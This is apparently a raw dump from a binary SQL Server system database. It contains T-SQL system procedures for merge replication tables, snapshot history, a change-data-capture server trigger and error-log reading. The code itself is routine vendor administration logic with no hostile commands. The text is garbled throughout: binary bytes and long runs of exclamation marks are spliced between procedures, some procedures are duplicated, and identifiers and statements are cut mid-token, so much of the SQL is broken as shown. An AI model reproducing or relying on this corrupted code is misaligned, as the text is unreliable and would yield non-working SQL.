	   raiserror(15003,-1,-1, N'securityadmin')
	   return (1)
	end
	
	if (@p2 is NULL)
		exec sys.xp_readerrorlog @p1
	else
		exec sys.xp_readerrorlog @p1,@p2,@p3,@p4
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-s:`p
<I2-W.0Z) 8CREATE VIEW sys.dm_hadr_availability_replica_cluster_nodes AS
	SELECT *
	FROM OpenRowset(TABLE DM_HADR_AVAILABILITY_REPLICA_CLUSTER_NODES)
0%)4 Q8create procedure sys.sp_MSget_snapshot_history
(
	@agent_id 	int,
	@timestamp	timestamp,
	@rowcount int = NULL
)
as
	set nocount on
	
	declare @retcode 			tinyint

    -- Security check - If the agent is in cache then it can access
    exec @retcode = sys.sp_MScheck_pull_access @agent_type = 0, @agent_id = 0, @publication_id = 0
    if @@error <> 0 or @retcode <> 0
        return (1)

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
    	raiserror (21482, 16, -1, 'sp_MSget_snapshot_history', 'distribution')
    	return 1
    end

    if @rowcount is not NULL
        set rowcount @rowcount
        
    select runstatus, comments, timestamp from MSsnapshot_history where agent_id = @agent_id and timestamp > @timestamp    
0s@@ 8--
-- Name: sp_hadr_get_current_error
--
-- Descriptions: Stored procedure used in catch block to gather
--               current error information.
--
-- Returns: 0 - On both success and error
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_get_current_error
(
    @error_number int output,
    @error_message nvarchar(4000) output
)
as
begin
    set @error_number = ERROR_NUMBER()
    select @error_message = 
        N'Error ' + CONVERT(nvarchar(10),ERROR_NUMBER()) +
        N', Level ' + CONVERT(nvarchar(10),ERROR_SEVERITY()) +
        N', State ' + CONVERT(nvarchar(10),ERROR_STATE()) +
        N', Message: ' + ERROR_MESSAGE();
    return 0    
end
0WA k	8create procedure sys.sp_MScdc_ddl_server_trigger 
(
	@mode varchar(4) -- valid input is 'add' or 'drop'
)
AS
begin
    declare @retcode int
				,@db_name sysname
    			,@mode_id int -- 1 is add, 2 is drop

	IF lower(@mode) = 'add' 
	BEGIN
		set @mode_id = 1
	END
	ELSE IF lower(@mode) = 'drop' 
	BEGIN
		set @mode_id = 2
	END
	ELSE
	BEGIN
	    RAISERROR(14138,16,-1,@mode)
	    RETURN(1)
	END
	
	--
	--drop trigger
	--
	if (@mode_id = 2) 
	begin
		-- if this is the last db with cdc enabled, drop server ddl trigger as well
		if not exists (select * from sys.databases where database_id <> db_id() and is_cdc_enabled = 1)
			and exists (select * from sys.server_triggers where name = N'tr_MScdc_db_ddl_event')
		begin 
			exec(N'drop trigger tr_MScdc_db_ddl_event on all server')
		end
	end

	--
	--create trigger
	--
	else if (@mode_id = 1) 
	begin
		--if there is at least one db enabled for CDC, or for whatever reason server ddl trigger didn't exists, create it now
		if not exists (select * from sys.server_triggers where name = N'tr_MScdc_db_ddl_event')
		begin
			-- no dbo. here since 
			-- you cannot specify schema name as a prefix to the trigger name for database and server level triggers.
			exec(N'create trigger tr_MScdc_db_ddl_event on all server for ALTER_DATABASE, DROP_DATABASE
		             as 
					set ANSI_NULLS ON
					set ANSI_PADDING ON
					set ANSI_WARNINGS ON
					set ARITHABORT ON
					set CONCAT_NULL_YIELDS_NULL ON
					set NUMERIC_ROUNDABORT OFF
					set QUOTED_IDENTIFIER ON

					declare @EventData xml, @retcode int
					set @EventData=EventData()  
					if object_id(''sys.sp_MScdc_db_ddl_event'' ) is not null
					begin 
						exec @retcode = sys.sp_MScdc_db_ddl_event @EventData
						if @@error <> 0 or @retcode <> 0 
						begin
							rollback tran
						end
					end		 ')


			if @@ERROR<>0
			begin
				set @db_name = db_name()
				raiserror(22968, 16, -1, N'tr_MScdc_db_ddl_event', @db_name)
				return (1)
			end
		
			-- mark as ms shipped, no need to escape on @alter_table_trigger, we build this string here
			execute @retcode = sp_MS_marksystemobject N'tr_MScdc_db_ddl_event', 'server'
			if @retcode <> 0 
			begin
				raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
				return (1)
			end			
		end
	end
		
    return 0
end
,
                processing_order, published_in_tran_pub, upload_options, lightweight, ''MSmerge_lws_sp_del_'' + procname_postfix, 
                before_upd_view_objid, delete_tracking, compensate_for_errors, pub_range, range, threshold,
                metadata_select_proc, stream_blob_columns, preserve_rowguidcol
            from dbo.sysmergearticles
            where lightweight = 1
        '
    
    exec (@cmd)
    if @@error<>0 return 1
        
    grant select(objid) on dbo.sysmergeextendedarticlesview to public
    if @@error <> 0    return 1

    return 0
0%)4 Q8create procedure sys.sp_MSget_snapshot_history
(
	@agent_id 	int,
	@timestamp	timestamp,
	@rowcount int = NULL
)
as
	set nocount on
	
	declare @retcode 			tinyint

    -- Security check - If the agent is in cache then it can access
    exec @retcode = sys.sp_MScheck_pull_access @agent_type = 0, @agent_id = 0, @publication_id = 0
    if @@error <> 0 or @retcode <> 0
        return (1)

    -- Has to be executed from distribution database
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
    	raiserror (21482, 16, -1, 'sp_MSget_snapshot_history', 'distribution')
    	return 1
    end

    if @rowcount is not NULL
        set rowcount @rowcount
        
    select runstatus, comments, timestamp from MSsnapshot_history where agent_id = @agent_id and timestamp > @timestamp    
0s@@ 8--
-- Name: sp_hadr_get_current_error
--
-- Descriptions: Stored procedure used in catch block to gather
--               current error information.
--
-- Returns: 0 - On both success and error
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_get_current_error
(
    @error_number int output,
    @error_message nvarchar(4000) output
)
as
begin
    set @error_number = ERROR_NUMBER()
    select @error_message = 
        N'Error ' + CONVERT(nvarchar(10),ERROR_NUMBER()) +
        N', Level ' + CONVERT(nvarchar(10),ERROR_SEVERITY()) +
        N', State ' + CONVERT(nvarchar(10),ERROR_STATE()) +
        N', Message: ' + ERROR_MESSAGE();
    return 0    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!D_`<(=v,Dcreate procedure sys.sp_MSdrop_mergesystables
    @whattodrop smallint    -- 1=heavyweight, 2=lightweight, 3=both
as
    -- Parameter check
    if @whattodrop not in (1,2,3)
    begin
        RAISERROR (20007, 16, -1)
        return 1
    end
        
    begin tran
    save transaction sp_MSdrop_mergesystables

    if 3=@whattodrop
    begin
        -- Drop shared  system tables.

        if object_id('sysmergearticles', 'U') is not NULL
        begin
            drop table dbo.sysmergearticles
            if @@error<>0 goto Error
        end

        if object_id('sysmergepublications', 'U') is not NULL
        begin
            drop table dbo.sysmergepublications
            if @@error<>0 goto Error
        end

        if object_id('sysmergesubscriptions', 'U') is not NULL
        begin
            drop table dbo.sysmergesubscriptions
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_sessions', 'U') is not NULL
        begin
            drop table dbo.MSmerge_sessions
            if @@error<>0 goto Error
        end

        if object_id('MSmerge_identity_range_allocations', 'U') is not NULL
        begin
            drop table dbo.MSmerge_identity_range_allocations
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_history', 'U') is not NULL
        begin
            drop table dbo.MSmerge_history
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_articlehistory', 'U') is not NULL
        begin
            drop table dbo.MSmerge_articlehistory
            if @@error<>0 goto Error
        end
        
        if object_id('MSrepl_errors', 'U') is not NULL
        begin
            drop table dbo.MSrepl_errors
            if @@error<>0 goto Error
        end
            
        if object_id('MSmerge_replinfo', 'U') is not NULL
        begin
            drop table dbo.MSmerge_replinfo
            if @@error<>0 goto Error
        end
            
        if object_id('sysmergeschemaarticles', 'U') is not NULL
        begin
            drop table dbo.sysmergeschemaarticles
            if @@error<>0 goto Error
        end
            
        if object_id('MSmerge_delete_conflicts', 'U') is not NULL
        begin
            drop table dbo.MSmerge_delete_conflicts 
            if @@error <> 0 goto Error
        end

        if object_id('sp_MSremovedebuginfrastructure','P') is not null
        begin
            declare @retval int
            exec @retval= sys.sp_MSremovedebuginfrastructure
            if @@error <> 0 or @retval <> 0 goto Error
        end

        if object_id('sysmergeextendedarticlesview', 'V') is not NULL
        begin
            drop view dbo.sysmergeextendedarticlesview 
            if @@error <> 0 goto Error
        end

        if object_id('sysmergepartitioninfoview', 'V') is not NULL
        begin
            drop view dbo.sysmergepartitioninfoview 
            if @@error <> 0 goto Error
        end
    
        if object_id('MSmerge_metadataaction_request', 'U') is not NULL
        begin
            drop table dbo.MSmerge_metadataaction_request 
            if @@error <> 0 goto Error
        end

        if object_id('MSmerge_supportability_settings', 'U') is not NULL
        begin
            drop table dbo.MSmerge_supportability_settings 
            if @@error <> 0 goto Error
        end

        if object_id('MSmerge_log_files', 'U') is not NULL
        begin
            drop table dbo.MSmerge_log_files 
            if @@error <> 0 goto Error
        end        
    end
    
    if @whattodrop in (1,3)
    begin
        -- Drop heavyweight tables.

        if object_id('sysmergepartitioninfo', 'U') is not NULL
        begin
            drop table dbo.sysmergepartitioninfo
            if @@error<>0 goto Error
        end
            
        if object_id('sysmergepartitioninfoview', 'V') is not NULL
        begin
            drop view dbo.sysmergepartitioninfoview
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_contents', 'U') is not NULL
        begin
            drop table dbo.MSmerge_contents
            if @@error<>0 goto Error
        end

        if object_id('MSmerge_identity_range ', 'U') is not NULL
        begin
            drop table dbo.MSmerge_identity_range 
            if @@error<>0 goto Error
        end

        if object_id('MSmerge_tombstone', 'U') is not NULL
        begin
            drop table dbo.MSmerge_tombstone
            if @@error<>0 goto Error
        end
            
        if object_id('MSmerge_genhistory', 'U') is not NULL
        begin
            drop table dbo.MSmerge_genhistory
            if @@error<>0 goto Error
        end
            
        if object_id('MSmerge_settingshistory', 'U') is not NULL
        begin
            drop table dbo.MSmerge_settingshistory
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_conflicts_info', 'U') is not NULL
        begin
            drop table dbo.MSmerge_conflicts_info
            if @@error<>0 goto Error
        end

        if object_id('sysmergeschemachange', 'U') is not NULL
        begin
            drop table dbo.sysmergeschemachange
            if @@error<>0 goto Error
        end

        if object_id('sysmergesubsetfilters', 'U') is not NULL
        begin
            drop table dbo.sysmergesubsetfilters
            if @@error<>0 goto Error
        end

        if object_id('MSmerge_errorlineage', 'U') is not NULL
        begin
            drop table MSmerge_errorlineage
            if @@error<>0 goto Error
        end

        if object_id('MSrepl_identity_range', 'U') is not NULL
        begin
            drop table dbo.MSrepl_identity_range
            if @@error<>0 goto Error
        end
        
        if object_id('MSmerge_altsyncpartners', 'U') is not NULL
        begin
            drop table dbo.MSmerge_altsyncpartners
            if @@error<>0 goto Error
        end
        
        if object_id('MSdynamicsnapshotjobs', 'U') is not NULL
        begin
            drop table dbo.MSdynamicsnapshotjobs
            if @@error<>0 goto Error
        end

        if object_id('MSdynamicsnapshotviews', 'U') is not NULL
        begin
            drop table dbo.MSdynamicsnapshotviews
            if @@error<>0 goto Error
        end

        if object_id('MSmerge_dynamic_snapshots', 'U') is not NULL
        begin
            drop table dbo.MSmerge_dynamic_snapshots 
            if @@error <> 0 goto Error
        end
        
        if object_id('MSmerge_partition_groups', 'U') is not NULL
        begin
            drop table dbo.MSmerge_partition_groups 
            if @@error <> 0 goto Error
        end
        
        if object_id('MSmerge_current_partition_mappings', 'U') is not NULL
        begin
            drop table dbo.MSmerge_current_partition_mappings 
            if @@error <> 0 goto Error
        end

        if object_id('MSmerge_past_partition_mappings', 'U') is not NULL
        begin
            drop table dbo.MSmerge_past_partition_mappings
            if @@error <> 0 goto Error
        end
        
        if object_id('MSmerge_generation_partition_mappings', 'U') is not NULL
        begin
            drop table dbo.MSmerge_generation_partition_mappings 
            if @@error <> 0 goto Error
        end

        if object_id('MSsnapshotdeliveryprogress', 'U') is not NULL
        begin
            drop table dbo.MSsnapshotdeliveryprogress 
            if @@error <> 0 goto Error
        end

        if object_id('MSmerge_supportability_settings', 'U') is not NULL
        begin
            drop table dbo.MSmerge_supportability_settings 
            if @@error <> 0 goto Error
        end

        if object_id('MSmerg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9߼ZvXZcreate procedure sys.sp_MScreate_mergesystables
    @whattocreate smallint    -- 1=heavyweight, 2=lightweight
as
    -- Parameter check
    if @whattocreate not in (1,2)
    begin
        return 1
        RAISERROR (20008, 16, -1)
    end

    /* This is to make sure that the varbinary columns do not get padded */
    set ANSI_PADDING off

    DECLARE @exist bit 
    DECLARE @validsubs smallint
    declare @retval int
    declare @retcode int
    
    select @exist = 1

    -- If the database is a publisher, verify that this SKU allows this
    if 1=sys.fn_MSrepl_ismergepublished(db_name())
    begin
        exec @retcode= sys.sp_MSsku_allows_replication
        if @@error<>0 return 1
        if @retcode <> 0
        begin
            raiserror(21106, 16, -1)
            return (1)
        end
    end
    
    begin tran
    save transaction sp_MScreate_mergesystables

    -- We first remove metadata tables if there are no valid subscriptions.
    --
    exec sys.sp_MScheckvalidsystables @validsubs output

    if 0=@validsubs
    begin
        exec sys.sp_MSdrop_mergesystables @whattodrop=3
    end
    else if 2=@validsubs and 1=@whattocreate 
    begin
        exec sys.sp_MSdrop_mergesystables @whattodrop=1
    end
    else if 1=@validsubs and 2=@whattocreate 
    begin
        exec sys.sp_MSdrop_mergesystables @whattodrop=2
    end
    
    if 1=@whattocreate
    begin
        exec @retcode = sys.sp_MSmerge_create_sub_table
        if @retcode <> 0 or @@ERROR <> 0
            goto Error
            
        exec @retcode = sys.sp_MSmerge_create_pub_table
        if @retcode <> 0 or @@ERROR <> 0
            goto Error

        -- this table exists at publisher and subscriber dbs
        if object_id('MSmerge_identity_range', 'U') is NULL
        begin        
            create table dbo.MSmerge_identity_range (
                subid               uniqueidentifier not NULL,
                artid               uniqueidentifier not NULL,
                range_begin         numeric(38,0) NULL,
                range_end           numeric(38,0) NULL,
                next_range_begin    numeric(38,0) NULL,
                next_range_end      numeric(38,0) NULL,
                is_pub_range        bit not NULL,
                max_used            numeric(38,0) NULL
            )
            exec dbo.sp_MS_marksystemobject MSmerge_identity_range
            if @@ERROR <> 0
                goto Error
            create unique clustered index uclidrange on MSmerge_identity_range(subid, artid, is_pub_range)
            if @@ERROR <> 0
                goto Error
        end

        if object_id('sysmergepartitioninfo', 'U') is NULL
        begin
            --raiserror('Creating table sysmergepartitioninfo',0,1)
            create table dbo.sysmergepartitioninfo (
                artid                           uniqueidentifier    NOT NULL,
                pubid                           uniqueidentifier    NOT NULL,
                partition_view_id               int                 NULL,
                repl_view_id                    int                 NULL,
                partition_deleted_view_rule     nvarchar(max)       NULL,
                partition_inserted_view_rule    nvarchar(max)       NULL,
                membership_eval_proc_name       sysname             NULL,
                column_list                     nvarchar(max)       NULL,
                column_list_blob                nvarchar(max)       NULL,
                expand_proc                     sysname             NULL,
                logical_record_parent_nickname  int                 NULL,
                logical_record_view             int                 NULL,
                logical_record_deleted_view_rule nvarchar(max)      NULL,
                logical_record_level_conflict_detection bit    null     default 0,
                logical_record_level_conflict_resolution bit   null     default 0,
                partition_options                tinyint   null         default 0
            )
            
            if @@error<>0
                goto Error
            else
            begin
                
                create unique clustered index uc1sysmergepartitioninfo
                    on dbo.sysmergepartitioninfo(artid, pubid) 
                if @@ERROR <> 0
                    goto Error
            end

            exec dbo.sp_MS_marksystemobject sysmergepartitioninfo
            if @@ERROR <> 0
                goto Error
        end
            
        if object_id('sysmergepartitioninfoview', 'V') is not NULL
        begin
            drop view dbo.sysmergepartitioninfoview
        end
        exec ('create view dbo.sysmergepartitioninfoview as
               select sma.*, smaw.partition_view_id, 
                    smaw.repl_view_id,
                    smaw.partition_deleted_view_rule,
                    smaw.partition_inserted_view_rule,
                    smaw.membership_eval_proc_name,
                    smaw.column_list,
                    smaw.column_list_blob,
                    smaw.expand_proc,
                    smaw.logical_record_parent_nickname,
                    smaw.logical_record_view,
                    smaw.logical_record_deleted_view_rule,
                    smaw.logical_record_level_conflict_detection,
                    smaw.logical_record_level_conflict_resolution,
                    smaw.partition_options
               from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
               where sma.artid = smaw.artid and sma.pubid = smaw.pubid')            
        if @@error <> 0
            goto Error
            
        exec dbo.sp_MS_marksystemobject sysmergepartitioninfoview

        if object_id('dbo.sysmergeschemaarticles', 'U') is null
        begin
            exec @retval= sys.sp_MScreate_sysmergeschemaarticles_table
            if @@error <> 0 or @retval <> 0 goto Error
        end
    
        if object_id('sysmergeextendedarticlesview') is not NULL
        begin
            drop view dbo.sysmergeextendedarticlesview
        end

        exec @retval= sys.sp_MScreate_sysmergeextendedarticlesview
        if @@error<>0 or @retval<>0 goto Error
        
        exec dbo.sp_MS_marksystemobject sysmergeextendedarticlesview

        if object_id('MSmerge_tombstone', 'U') is NULL
        begin            
            create table dbo.MSmerge_tombstone
            (
                rowguid            uniqueidentifier rowguidcol NOT NULL,
                tablenick        int                NOT NULL,
                type            tinyint            NOT NULL,
                lineage            varbinary(311)    NOT NULL,
                generation        bigint            NOT NULL,
                logical_record_parent_rowguid    uniqueidentifier    NULL,
                logical_record_lineage    varbinary(311)    NULL,
            )

            if @@ERROR <> 0
                goto Error
            else
            begin
                create unique clustered index uc1MSmerge_tombstone
                    on MSmerge_tombstone (tablenick DESC, rowguid) 
                if @@ERROR <> 0    goto Error
                
                create index nc2MSmerge_tombstone
                    on MSmerge_tombstone (generation) 
                if @@ERROR <> 0    goto Error
                
                --create index nc3MSmerge_tombstone on MSmerge_tombstone(logical_record_parent_rowguid)
                --if @@ERROR <> 0    goto Error
            end    
    
    
             exec dbo.sp_MS_marksystemobject MSmerge_tombstone
             if @@ERROR <> 0
                goto Error
            
        end

        if object_id('MSmerge_contents', 'U') is NULL
        begin
            
            create table dbo.MSmerge_contents
            (
           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9=vXZ     tablenick        int                           NOT NULL,
                rowguid          uniqueidentifier rowguidcol   NOT NULL,
                generation       bigint                        NOT NULL,
                partchangegen    bigint                        NULL,
                lineage          varbinary(311)                NOT NULL,
                colv1            varbinary(2953)               NULL,
                marker           uniqueidentifier              NULL,
                logical_record_parent_rowguid uniqueidentifier NULL,
                logical_record_lineage    varbinary(311)       NULL
            )
        
            if @@ERROR <> 0
                goto Error
            else
            begin
                create unique clustered index uc1SycContents on MSmerge_contents(tablenick, rowguid)
                if @@ERROR <> 0 goto Error
                create index nc2MSmerge_contents on MSmerge_contents(generation) 
                if @@ERROR <> 0 goto Error
                create index nc4MSmerge_contents on MSmerge_contents(rowguid)
                if @@ERROR <> 0    goto Error
                create index nc3MSmerge_contents on MSmerge_contents(partchangegen) 
                if @@ERROR <> 0 goto Error
                --create index nc6MSmerge_contents on MSmerge_contents(logical_record_parent_rowguid)
                --if @@ERROR <> 0    goto Error
            end
            exec dbo.sp_MS_marksystemobject MSmerge_contents
            if @@ERROR <> 0
                goto Error
            
        end
                       
        if object_id('MSmerge_genhistory', 'U') is NULL
        begin            
            create table dbo.MSmerge_genhistory
            (
                guidsrc         uniqueidentifier     NOT NULL,
                pubid           uniqueidentifier     NULL,
                generation      bigint               identity(1,1) NOT NULL,
                art_nick        int                  NULL,
                -- when the size of nicknames is changed: adjust constants in CMergeDatasource::EnumerateGenerationRange.
                -- it is 1000 bytes in Shiloh, 1001 in Yukon: difference allows to determine whether column upgrade took place.
                -- Also need to update cbReplnickArrayMax in replfunc.cpp.
                nicknames       varbinary(1001)      NOT NULL,    
                coldate         datetime             NOT NULL,
                genstatus       tinyint              NOT NULL default 0, -- 0 = open, 
                                                                         -- 1 = closed and generated locally, 
                                                                         -- 2 = closed and came from elsewhere, 
                                                                         -- 3 = temporarily closed used only by makgeneration
                                                                         -- 4 = generation came from elsewhere and was inserted by merge. is open. possible interrupted generation
                changecount     int                  NOT NULL default 0,
                subscriber_number  int not NULL default 0
            )
                    
            if @@ERROR <> 0
                goto Error

            create clustered index c1MSmerge_genhistory on MSmerge_genhistory(generation) 
            if @@ERROR <> 0
                goto Error

            create unique index unc1MSmerge_genhistory on MSmerge_genhistory(guidsrc, pubid) 
            if @@ERROR <> 0
                goto Error

            create  index nc2MSmerge_genhistory on MSmerge_genhistory(genstatus, art_nick,changecount) 
            if @@ERROR <> 0
                goto Error

            CREATE INDEX nc4MSmerge_genhistory ON MSmerge_genhistory(coldate)        
            if @@ERROR <> 0
                goto Error

             exec dbo.sp_MS_marksystemobject MSmerge_genhistory
             if @@ERROR <> 0
                goto Error            
        end

        if object_id('MSmerge_settingshistory', 'U') is NULL
        begin
            --raiserror('Creating table MSmerge_settingshistory',0,1)

            --This table records the history of when merge related settings
            --were changed. It can also bo used to record important events
            --that affect behavior of merge replication.

            --eventtype can have one of the following values
            --  1   Initial publication level property setting.
            --  2   Change in publication property.
            --  101 Initial article level property setting.
            --  102 Change in article property.
            --  In future add publication related event below 100 and
            --  article related events about 100 to make searching easier
            
            create table dbo.MSmerge_settingshistory
            (
                eventtime        datetime     null       default getdate(),
                pubid            uniqueidentifier    NOT NULL,
                artid           uniqueidentifier    NULL,
                eventtype         tinyint                NOT NULL,
                propertyname    sysname             NULL,
                   previousvalue   sysname             NULL,
                newvalue        sysname             NULL,
                eventtext        nvarchar(2000)         NULL    
            )
                    
            if @@ERROR <> 0
                goto Error

            create clustered index c1MSmerge_settingshistory on MSmerge_settingshistory(pubid,eventtype) 
            if @@ERROR <> 0
                goto Error

             exec dbo.sp_MS_marksystemobject MSmerge_settingshistory
             if @@ERROR <> 0
                goto Error                
        end
            
        if object_id('sysmergeschemachange', 'U') is NULL
        begin
        
            --raiserror('Creating table sysmergeschemachange',0,1)
            
            create table dbo.sysmergeschemachange
            (
                pubid            uniqueidentifier     NOT NULL,
                artid            uniqueidentifier     NULL,
                schemaversion     int                    NOT NULL,
                schemaguid        uniqueidentifier     NOT NULL,
                schematype        int                      NOT NULL,
                schematext        nvarchar(max)         NOT NULL,
                schemastatus    tinyint                NOT NULL default(1),  -- 0 - inactive, 1 - active
                schemasubtype    int                      NOT NULL default(0) -- contains the actual type of schema change such as add/drop/modify col, 0 is dummy value
            )
        
            if @@ERROR <> 0
                goto Error
            else
                begin
                    create unique clustered index schemachangeversion on sysmergeschemachange(schemaversion, pubid) 
                    if @@ERROR <> 0
                        goto Error
                end
            exec dbo.sp_MS_marksystemobject sysmergeschemachange
            if @@ERROR <> 0
                goto Error
           
        end

        if object_id('sysmergesubsetfilters', 'U') is NULL
        begin
            create table dbo.sysmergesubsetfilters (
                filtername              sysname                 NOT NULL,
                join_filterid            int                    identity NOT NULL,
                pubid                    uniqueidentifier    NOT NULL,
                artid                    uniqueidentifier    NOT NULL,
                art_nickname            int                    NOT NULL,
                join_articlename        sysname NOT NULL,
                join_nickname             int                    NOT NULL,
                join_unique_key            int                    NOT NU!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9HvXZLL,
                expand_proc                sysname                    NULL,
                join_filterclause        nvarchar(1000)          NULL,
                filter_type                tinyint                NOT NULL default 1
            )
            if @@ERROR <> 0
                goto Error

            CREATE UNIQUE NONCLUSTERED INDEX nc1sysmergesubsetfilters 
                ON sysmergesubsetfilters(join_filterid, pubid)
            if @@ERROR <> 0
                goto Error
                
            CREATE UNIQUE CLUSTERED INDEX uc2sysmergesubsetfilters 
                ON sysmergesubsetfilters(pubid, filtername)
            if @@ERROR <> 0
                goto Error

            exec dbo.sp_MS_marksystemobject sysmergesubsetfilters
            if @@ERROR <> 0
                goto Error
        end

        if @@error <> 0
            goto Error

        if object_id('MSdynamicsnapshotviews', 'U') is NULL
        begin
            --raiserror('Creating table MSdynamicsnapshotviews',0,1)
            
            create table dbo.MSdynamicsnapshotviews (
                dynamic_snapshot_view_name sysname primary key
            )
            if @@ERROR <> 0
                goto Error
            exec dbo.sp_MS_marksystemobject MSdynamicsnapshotviews
        end

        if object_id('MSdynamicsnapshotjobs', 'U') is NULL
        begin
            --raiserror('Creating table MSdynamicsnapshotjobs',0,1)
        
            create table dbo.MSdynamicsnapshotjobs (
                id int identity, 
                name sysname not null unique,
                pubid uniqueidentifier not null,
                job_id uniqueidentifier not null,
                agent_id int not null default 0,
                dynamic_filter_login sysname null,
                dynamic_filter_hostname sysname null,
                dynamic_snapshot_location nvarchar(255) not null,
                partition_id int not NULL default -1,
                computed_dynsnap_location bit not NULL default 0
            )
            if @@ERROR <> 0
                goto Error

            exec dbo.sp_MS_marksystemobject MSdynamicsnapshotjobs

            create unique clustered index uciMSdynamicsnapshotjobs on 
                dbo.MSdynamicsnapshotjobs(job_id, pubid)
            
            if @@ERROR <> 0
                goto Error

            create nonclustered index nciMSdynamicsnapshotjobs on 
                dbo.MSdynamicsnapshotjobs(partition_id)
            
            if @@ERROR <> 0
                goto Error

        end
        
        if @@error <> 0
            goto Error

        if object_id('MSmerge_altsyncpartners', 'U') is NULL
        begin
            --raiserror('Creating table MSmerge_altsyncpartners',0,1)
        
            create table dbo.MSmerge_altsyncpartners (
                subid                 uniqueidentifier     not null,
                alternate_subid     uniqueidentifier     not null,
                description            nvarchar(255)        NULL
            )
            if @@ERROR <> 0
                goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_altsyncpartners

            create unique clustered index uciMSmerge_altsyncpartners on 
                dbo.MSmerge_altsyncpartners(subid, alternate_subid)
            
            if @@ERROR <> 0
                goto Error


        end

        -- new tables added for the first time after SQL2000.
        if object_id('MSmerge_partition_groups', 'U') is NULL
        begin
            create table dbo.MSmerge_partition_groups (partition_id int identity not null primary key clustered, 
            						publication_number smallint not null, maxgen_whenadded bigint null, 
            						using_partition_groups bit null default 0, is_partition_active bit default 1 not null)
            if @@ERROR <> 0 goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_partition_groups
            if @@ERROR <> 0 goto Error

            create nonclustered index nc1MSmerge_partition_groups on dbo.MSmerge_partition_groups (publication_number)
            if @@ERROR <> 0 goto Error
                
            grant select on dbo.MSmerge_partition_groups to public
        end

        if object_id('MSmerge_generation_partition_mappings', 'U') is NULL
        begin
            create table dbo.MSmerge_generation_partition_mappings 
                    (    
                    publication_number smallint not null, 
                    generation bigint not null, 
                    partition_id int not null,
                    changecount int NOT NULL default 0
                    )
            if @@ERROR <> 0
                goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_generation_partition_mappings

            create clustered index cMSmerge_generation_partition_mappings on dbo.MSmerge_generation_partition_mappings (partition_id, publication_number)
            if @@ERROR <> 0
                goto Error
            create nonclustered index nc1MSmerge_generation_partition_mappings on dbo.MSmerge_generation_partition_mappings(generation) include (changecount)
            if @@ERROR <> 0
                goto Error
        end
        
        if object_id('MSmerge_current_partition_mappings', 'U') is NULL
        begin
            create table dbo.MSmerge_current_partition_mappings (publication_number smallint not null, tablenick int not null, rowguid uniqueidentifier not null, partition_id int not null)
            if @@ERROR <> 0
                goto Error

            exec dbo.sp_MS_marksystemobject MSmerge_current_partition_mappings

            create clustered index cMSmerge_current_partition_mappings on dbo.MSmerge_current_partition_mappings (tablenick, rowguid)
            if @@ERROR <> 0
                goto Error

            create nonclustered index ncMSmerge_current_partition_mappings on dbo.MSmerge_current_partition_mappings (publication_number, partition_id)
            if @@ERROR <> 0
                goto Error
        end

        if object_id('MSmerge_past_partition_mappings', 'U') is NULL
        begin
            create table dbo.MSmerge_past_partition_mappings (publication_number smallint not null, tablenick int not null, rowguid uniqueidentifier not null, partition_id int not null, generation bigint null,reason tinyint not null default(0))
            if @@ERROR <> 0
                goto Error

